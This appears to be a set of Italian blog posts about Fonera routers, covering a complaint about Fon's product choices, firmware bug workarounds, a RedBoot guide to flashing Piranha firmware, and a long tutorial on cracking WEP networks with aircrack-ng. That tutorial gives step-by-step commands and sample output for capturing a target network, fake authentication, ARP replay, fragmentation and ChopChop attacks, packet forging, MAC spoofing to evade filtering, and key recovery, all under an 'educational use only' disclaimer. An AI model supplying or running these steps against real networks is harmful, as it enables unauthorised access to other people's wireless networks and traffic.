Fonera Si, Fonera.. No!?

Fonera 2100, 2200, 2.0g, 2.0n

Non sono contento della piega che da un po di tempo a questa parte fon sta prendendo. Hanno impiegato molti sforzi a sviluppare dei plugin per megaupload, picasa, facebook, twitter, rapidshare ecc. che non sono così fondamentali come la stabilità del router, né sono così importanti da essere installati di default e senza possibilità di rimuoverli dalla fonera.

Inoltre continuano a non dare troppo peso alle richieste degli utenti sia in termini di hardware che in termini di software. Chi non vuole sulla propria fonera tutte le opzioni che il mod freelan fornisce?

Quando la fonera 2.0g era in fase beta si chiedeva alla fon un router con 64mb di ram e il supporto alla tecnologia wifi n (tra le tante necessità queste almeno erano le più richieste). Adesso esiste ed è il nuovo router fonera 2.0n, si ma a che prezzo? Hanno ritirato dal mercato la “vecchia” fonera 2.0g e mandato una mail ai possessori di quest’ultima per incentivare l’acquisto della nuova macchina a prezzo scontato. Intanto i miei fonera si impilano uno sopra l’altro…

Sembra che si siano accorti che 32mb di ram erano troppo pochi per far girare tutte quelle applicazioni sulla fonera figuriamoci un client torrent. Nel frattempo ho sempre difficoltà ad accedere alla WebGui della fonera lato wan  obbligandomi ad riavviare firefox o peggio la fonera stessa (che impiega soli 5 minuti per rimettersi on-line).

Non tocchiamo nemmeno l’argomento del transfer-rate in ftp dal pc all’hard disk collegato alla fonera: semplicemente ridicolo. Ho un nas della LaCie che 10 volte più veloce!

Piuttosto che creare un nuovo router ora non potevano fin da subito progettare questo senza passare dallo step (fallito) della fonera 2.0g?

La nuova fonera 2.0n nonostante abbia uno switch di 4 porte queste non sono gigalan e le sue due antenne sono fisse, non so voi ma l’idea delle antenne fisse mi rabbrividisce. Ho diverse antenne wifi di varia portata da 2db a 16db che non potrei usare con questo router.

Spero che migliorino il supporto software per bene altrimenti a fare un fis init -f e mettere su OpenWrt non ci vuole poi molto…”soli” 30 minuti (almeno per le vecchie fonere, 3-5 minuti per la nuova). 👿

Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug

Che la RC1 del firmware 2.3.0.1 della fonera 2.0g fosse baggato era cosa nota già dai primi momenti in cui è stato reso pubblico.


Anomalie:

fonera 2.0g shell

Questa è la shell della fonera 2.0g con l’ultimo firmware 2.3.0.1.
Come si può notare la dicitura è: Fonera 20n Firmware (v2.2.6.0)
Il che fa pensare che di fatto stiano facendo un unico firmware per entrambe le fonere 2.0g e 2.0n modificando solo il supporto per il processore Atheros AR2315 a 183Mhz per la fonera 2.0g e Ralink RT3052F a 300 Mhz per la fonera 2.0n.


Bug:

Se provate ad accedere dalla wan in ssh alla fonera riceverete un messaggio di errore di connessione rifiutata, questo anche se avete abilitato l’accesso ssh lato wan dalla fonera stessa.
Per risolvere questo problema, nella attesa di una release meno baggata, procedete così:

  1. Guadagnate l’accesso ssh sulla fonera (lato lan)

  2. Modificate il file:

    root@fonera:~# vi /etc/firewall.fon

  3. Aggiungete la riga (comando “i” per inserire nuovo testo nel file):

    iptables -A input_wan -p tcp --dport 22 -j ACCEPT

  4. Salvate (per salvare pigiate “esc”, poi “:wq”)

  5. Riavviate la fonera o riavviate il firewall:

    root@fonera:~# /etc/init.d/firewall restart

Questo sembrerebbe essere un bug introdotto proprio dalla versione del firmware 2.3.0.1 rc1.
Non è sicuramente un grave problema, ma per chi, come me, usa la shell della fonera può dare fastidio. 👿


Altro giro altro bug! 🙁

Posso confermare che questo bug era già presente nella versione precedente del firmware (2.2.6.0 rc2).
La fonera, come sapete, può collegarsi alla rete “wan” sia tramite cavo di rete che wifi.
Se volete impostare la modalità di connessione wifi e come il sottoscritto siete piuttosto esigenti sulla wpa passphrase  avrete qualche problema. L’interfaccia grafica della fonera infatti si rifiuta di salvare pass-phrases lunghe.
Es:

Fonera Internet Setting

Fonera Internet Setting (Clicca per ingrandire)

Nel mio caso uso una passphrase di 63 caratteri esadecimali. Quando pigiate il tasto salva la fonera vi segnalerà in rosso la vostra passphrase e si rifiuterà di salvare le impostazioni.
La soluzione che suggerisco è semplice:

  1. Inserire una passphrase fasulla di otto caratteri tipo “12345678” e salvare le impostazioni.

  2. Aprire una console sulla fonera e modificare il file:

    root@fonera:~# vi /etc/config/fon

  3. Cercate la riga:

    option 'psk' '12345678'

    e sostituitela con:

    option 'psk' 'inserite_la_vostra_passphrase'

    Es:

    Fonera passphrase config

  4. Salvate il file e riavviate la fonera.

Spero di aver dato una mano d’aiuto.

Installare piranha sulla fonera [Aggiornato]

[Aggiornamento 17-02-2010]

Informo che già dalla data 17-01-2010 il progetto piranha si è trasferito al seguente indirizzo: http://piranha.pwnz.org/,
inoltre sempre nella stessa data è stata rilasciata la versione 3.0 del firmware disponibile all’indirizzo:
http://piranha.pwnz.org/2010/01/17/piranha-3-0-100117/

 

Facendo una ricerca in rete è facile trovare tantissime guide per installare OpenWrt e derivati sul fonera. Per il piranha consiglio di usare la guida:

http://www.fonerahacks.com/index.php/Tutorials-and-Guides/Full-Legend-Flash-Guide.html, che risulta essere molto completa e estremamente simile alla procedura per installare il piranha con alcuni accorgimenti:

  1. scaricare il firmware del piranha dal sito ufficiale:

    http://piranha.klashed.net/pub/2.0/alpha4/, se volete la versione con l’interfaccia web (LuCi) presente.

    http://piranha.klashed.net/pub/3.0/090925/, se preferite la versione 3.0 più recente ma con meno pacchetti e senza interfaccia web.

  2. A prescindere dalle versione che preferite dovete scaricare i file:

    openwrt-atheros-root.squashfs e openwrt-atheros-vmlinux.lzma.

    Alternativamente se preferite potete scaricare la versione openwrt-atheros-root.jffs2-64k. Per maggiori info sulla differenza date un occhiata a questo post in lingua inglese.

  3. Eseguite nel RedBoot del vostro fonera questi comandi:
  4. Redboot> ip_addr -h 192.168.1.166 -l 192.168.1.254/24

    Redboot> fis init -f

    Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma

    Redboot> fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7

    Redboot> fis free

    0xA80F0000 .. 0xA87E0000

  5. Nella shell del vostro computer (se avete linux) eseguite i seguenti comandi, riportando i valori che il comando fis free vi ha restituito e segnatevi il risultato.

    Se non avete linux eseguite la sottrazione dei valori con una calcolatrice scientifica in base 16 (quella di windows andrà benissimo).

    server:~# bc

    obase=16

    ibase=16

    A87E0000A80F0000

    6F0000

    quit

    (0xLENGTH is 0x006F0000 in questo caso)

  6. Nel ReedBoot della fonera:
  7. Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs

    Redboot> fis create -l 0xLENGHT rootfs

    Redboot> fconfig

    >> fis load -l vmlinux.bin.l7

    >> exec

    >>

    Redboot> reset

Ho attinto le informazioni di questo post dal sito internet ufficiale del firmware piranha.

Riferitevi alla guida che vi ho suggerito prima per accedere al redboot del vostro fonera.

Se avete difficoltà ad accedere in ssh al vostro fonera leggete il paragrafo “Acquisizione dell’accesso ssh sul fonera” del post “Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4“.

Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<


Acquisizione dell’accesso ssh sul fonera. (solo per le nuove installazioni)

Il piranha è una distro basata su OpenWRT per fonera.
Per motivi di sicurezza nelle distribuzioni OpenWrt NON è specificata una password di default per l’account root, che deve essere settata al primo accesso all’interfaccia web (se presente) o tramite console telnet.
Dopo l’installazione sul fonera del firmware piranha 2.0 alpha 4, lanciate una console telnet.
L’indirizzo di default del fonera con firmware Piranha 2.0 alpha 4 è 192.168.1.1, mentre per il firmware 3.0 alla versione attuale “090916” (16-09-2009) è 10.0.0.1.
Le versioni del firmware Piranha 3.0 fino all’attuale 090916 (al momento in cui scrivo), benché siano più recenti, non possiedono l’interfaccia web (Luci).

Il firmware piranha è disponibile al seguente indirizzo: http://piranha.klashed.net/pub/
[Aggiornamento] Il progetto piranha si è trasferito al seguente indirizzo:  http://piranha.pwnz.org/

telnet 192.168.1.1
passwd

e inserite la vostra password

exit
ssh 192.168.1.1

entrate con le credenziali di root e la password che avete settato precedentemente.


Abilitazione del monitor mode

Loggatevi come root e inserite la vostra password appena definita

iwconfig ath0 | grep Mode

se leggete ” Mode:Monitor ... ” tutto ok altrimenti eseguite i due comandi qui riportati:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Con questi due comandi avete settato la vostra fonera in modalità di ascolto.


Connessione di un unità di rete sulla fonera

Il fonera non dispone di spazio per salvare i pacchetti acquisiti, per cui è fondamentale salvare questi dati sul nostro pc.
Create una cartella d’appoggio sul fonera.

mkdir /mnt/share

Montiamo la cartella remota:

mount.cifs percorso_di_rete_del_nostro_pc/nome_cartella_condivisa /mnt/share -o user=Nome_del_nostro_account_sul_pc

Es:

mount.cifs //192.168.1.2/Condivisa /mnt/share -o user=root

Entrate nella cartella che avete montato.

cd /mnt/share


Sniffare e salvare i pacchetti catturati

Cominciamo a guardarci un po attorno:

airodump-ng ath0

Individuate la vostra rete bersaglio e salvatevi il numero del canale della rete e il suo bssid.
Chiudete airodump-ng con un bel ctrl-c e rilanciatelo con questi comandi.

airodump-ng -c numero --bssid 00:xx:xx:xx:xx:xx -w /mnt/share/nome_rete_bersaglio ath0

dove:

  • -c numero è il canale della rete wifi scelta,
  • --bssid 00:xx:xx:xx:xx:xx indica il mac dell’acces point che si sta attaccando,
  • -w /mnt/share/nome_rete_bersaglio indica il percorso e il nome del file che verrà creato contenente il traffico sniffato.

Da questo momento la vostra fonera salverà su hard disk tutti i pacchetti della rete bersaglio che avete scelto.

Lasciate il programma attivo e aprite un altra console ssh sulla fonera.


Attacchi standard

Per trovare la password di una rete wep con crittografia a 128 bit bisogna acquisire circa 400.000 pacchetti IV.
Dunque se non si vuole fare notte è opportuno cominciare a creare un po di traffico nella nostra rete bersaglio.

Lanciate l’attacco:

Fake authentication

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -1 indica l’attacco fake authentication
  • 0 il tempo, espresso in secondi, di ri-associazione alla rete attaccata.
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.
    Se non lo conoscete usate il comando: ifconfig ath0 | grep HWaddr

Questo è un passaggio estremamente importante, se durate questa fase visualizzate dei messaggi del tipo:

12:18:20 Sending Authentication Request (Open System) [ACK]
12:18:20 Authentication successful
12:18:20 Sending Association Request [ACK]
12:18:20 Association successful :--) (AID: 1)

Allora siete riusciti nell’intento di autenticarvi nella rete che state attaccando senza problemi e potete passare al prossimo attacco.
Con alcuni access points è possibile incorre in errori strani, se accadesse qualcosa del genere provate questo comando:

aireplay-ng -1 6000 -o 1 -q 10 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • 6000 Indica che ci si ri-autenticherà ogni 6000 secondi
  • -o 1 Indica che verrà mandato solo un set alla volta. Mandare più set di pacchetti può confondere alcuni access point.
  • -q 10 Indica che verrà mandato un pacchetto di Keep-alive ogni 10 secondi.

Se leggete nella shell:

12:20:22 Sending Authentication Request (Open System) [ACK]
12:20:22 Authentication successful
12:20:22 Sending Association Request
12:20:22 Association successful :--) (AID: 1)
12:20:32 Sending keep-alive packet [ACK]
12:20:42 Sending keep-alive packet [ACK]
...

tutto è andato per il meglio.
Eccovi un esempio di fake authentication fallito:

12:26:05 Sending Authentication Request (Open System) [ACK]
12:26:05 Authentication successful
12:26:05 Sending Association Request [ACK]
12:26:05 Association successful :--)
12:26:05 Got a deauthentication packet!
12:26:08 Sending Authentication Request (Open System) [ACK]
12:26:08 Authentication successful
12:26:08 Sending Association Request [ACK]
12:26:13 Sending Authentication Request (Open System) [ACK]
12:26:13 Authentication successful
12:26:13 Sending Association Request [ACK]

Non procedete oltre fin tanto che non riuscite ad avere un autenticazione corretta altrimenti qualsiasi tipo di attacco voi vogliate lanciare successivamente fallirà. Se avete il sentore che la rete che state attaccando abbia il MAC Filtering attivo, passate alla sezione Mac Spoofing.

Se leggete il messaggio: “AP rejects open-system authentication Please specify a PRGA-file (-y).
Passate direttamente al paragrafo Packet Injection con Packet Forge perché l’acces point che state attaccando rigetta l’autenticazione aperta. Eseguite un attacco di tipo Fragmentation o ChopChop e una volta ottenuto il file xor eseguite nuovamente il Fake authentication con queste opzioni:

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -y file_xor_ottenuto.xor -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

Lasciate il programma lavorare e aprite un altra console ssh sulla fonera.

Arp-request replay

aireplay-ng -3 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove

  • -3 indica l’attacco arp-request replay
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera. Se non lo conoscete guardate la base del fonera c’è scritto, o alternativamente lanciate il comando: ifconfig ath0 | grep HWaddr

Se tutto va bene dovreste vedere, nella shell dove avete eseguito airodump-ng, i numeri del campo “#Data” della rete attaccata crescere vertiginosamente.
Alternativamente potete provare l’attacco:

Interactive frame selection

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.


Mac Spoofing

Se la rete in questione ha attivo il mac filtering NON riuscirete ad eseguire correttamente l’autenticazione sulla rete wifi e conseguentemente gli attacchi non funzioneranno.
Esempio negativo

17:38:30 Sending Authentication Request (Open System) [ACK]
17:38:30 AP rejects the source MAC address (00:18:84:xx:xx:xx)?
Authentication failed (code 1)

Di seguito visioneremo diversi metodi per cambiare i mac nella fonera, funzionanti e non.

Primo metodo, (NON funziona per il fonera):
Benché non funzioni per il fonera, dato che funziona perfettamente su qualsiasi pc linux-based lo propongo lo stesso.

ifconfig ath0 down
ifconfig ath0 hw ether 00:xx:xx:xx:xx:xx
ifconfig ath0 up

Secondo metodo. (Non funziona sulla fonera modello 2100)
Accedete al Redboot del fonera e digitate:

set -m 00:xx:xx:xx:xx:xx

Terzo metodo. Aggiornato con la procedura corretta e testato da Orange:

# wlanconfig ath0 destroy
# macchanger -m 00:11:22:33:44:55 wifi0
# wlanconfig ath0 create wlandev wifi0 wlanmode [mode]

Il tool macchanger è presente nativamente nella distribuzione piranha.
[PS. Grazie sempre per il tuo tempestivo e cortese aiuto Orange.]

Quarto metodo, (non ho avuto tempo di testarlo).
Accedete al Redboot del fonera e digitate:

nvram set et0macaddr=mac_address
nvram set il0macaddr=mac_address + 1
nvram commit

Es:

nvram set et0macaddr=00:18:B8:E2:B9:4C
nvram set il0macaddr=00:18:B8:E2:B9:4D
nvram commit


Packet Injection con Packet Forge

Gli attacchi arp-request relay e interactive frame selection si basano sull’ascolto dei pacchetti che transitano sulla rete. In particolare l’arp-request relay aspetta di cogliere un pacchetto arp e una volta catturato inizia il packet injection vero e proprio. Viene da se che se, nella rete che state forzando, non ci sono client collegati non riuscirete a portare a buon fine il vostro attacco. In questo caso dovete crearvi a mano un pacchetto arp ad hoc.

Questo attacco prevede la creazione preliminare di un pacchetto ad hoc che verrà usato per eseguire il packet injection.

  1. Il primo passaggio da effettuare ci permetterà di recuperare delle informazioni essenziali per l’attacco della rete bersaglio, quali il mac di un client correttamente autenticato alla rete.
  2. Con Il secondo passaggio si effettuerà la forgiatura di un pacchetto ad hoc per l’attacco alla rete.
  3. Infine con il terzo ed ultimo passaggio si bombarderà la rete wifi con il pacchetto creato; l’access point risponderà alle nostre richieste generando traffico utile per l’hack della rete.

Prima di tutto bisogna creare il file xor detto anche file PRGA (pseudo random genration algorithm).
Avete due metodi che fanno al caso vostro:

Fragmentation

aireplay-ng -5 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

ChopChop

aireplay-ng -4 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -5 indica l’attacco Fragmentation
  • -4 indica l’attacco ChopChop
  • -b specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Attendete che il file venga creato.
Verrà creato un file del tipo fragment-0101-024025.xor, dove i numeri saranno sicuramente diversi da questi.
Deve essere presente un client autenticato nella rete bersaglio che state attaccando.

Creiamo il pacchetto con Packetforge, (attenzione al nome del file xor):

packetforge-ng -0 -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0101-02-4025.xor -w nome_della_rete_bersaglio.arp

dove:

  • -a specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Eseguiamo il Packet Injection

aireplay-ng -2 -r nome_della_rete_bersaglio.arp ath0


Recupero della chiave della rete

Lanciate una nuova shell sul vostro pc e navigate nel vostro filesystem fino alla cartella condivisa che state usando per salvare i pacchetti che la fonera sta acquisendo e lanciate il comando:

aircrack-ng -z -b 00:xx:xx:xx:xx:xx nome_della rete_bersaglio.cap

Es:

aircrack-ng -z -b 00:12:34:56:78:9A wifi*.cap

dove:

  • -z invoca il metodo PWT-Wep cracking
  • -b è il bssid dell’acces point,
  • nome_della rete_bersaglio.cap è il file che il fonera ha creato contenente i pacchetti sniffati.

è importante lanciare questo comando sul vostro pc, infatti il fonera non ha abbastanza potenza di calcolo per trovare, in tempi umani, la chiave wep della rete wifi.


Approfondimenti

E’ possibile lanciare sulla fonera un server, con il comando:

airserv-ng -d ath0

dove -d indica l’interfaccia su cui il server verrà eseguito.
Il sistema in caso di successo risponde:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666

Mentre sul nostro pc locale basterà lanciare il comando:

airodump-ng indirizzo_della_fonera:666

Es:

airodump-ng 192.168.1.1:666

Questo esempio è valido anche per gli altri programmi della suite aircrack-ng basta sostituire al nome della scheda di rete (ath0) l’indirizzo e la porta del server che abbiamo lanciato sulla fonera e il gioco è fatto.
Dato che i programmi verranno lanciati nel vostro pc, il processore del fonera non sarà caricato troppo di lavoro, oltretutto viene meno anche il bisogno di montare una cartella remota nel fonera. 🙂


Aggiornamento

Come Orange mi suggerisce nel suo commento è possibile passare dalla modalità access point alla modalità monitor usando lo script, fornito dalla versione 3 del firmware piranha, “monitor” che distrugge tutte le VAP (Virtual Access Points) e crea un nuovo VAP in modalità monitor.

# /etc/init.d/aap stop
# monitor

La sua controparte è lo script “sta“:

# sta
# /etc/init.d/aap start

che riporta la fonera in modalità access point.

Ps. Thanks Orange 😉


Link utili

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<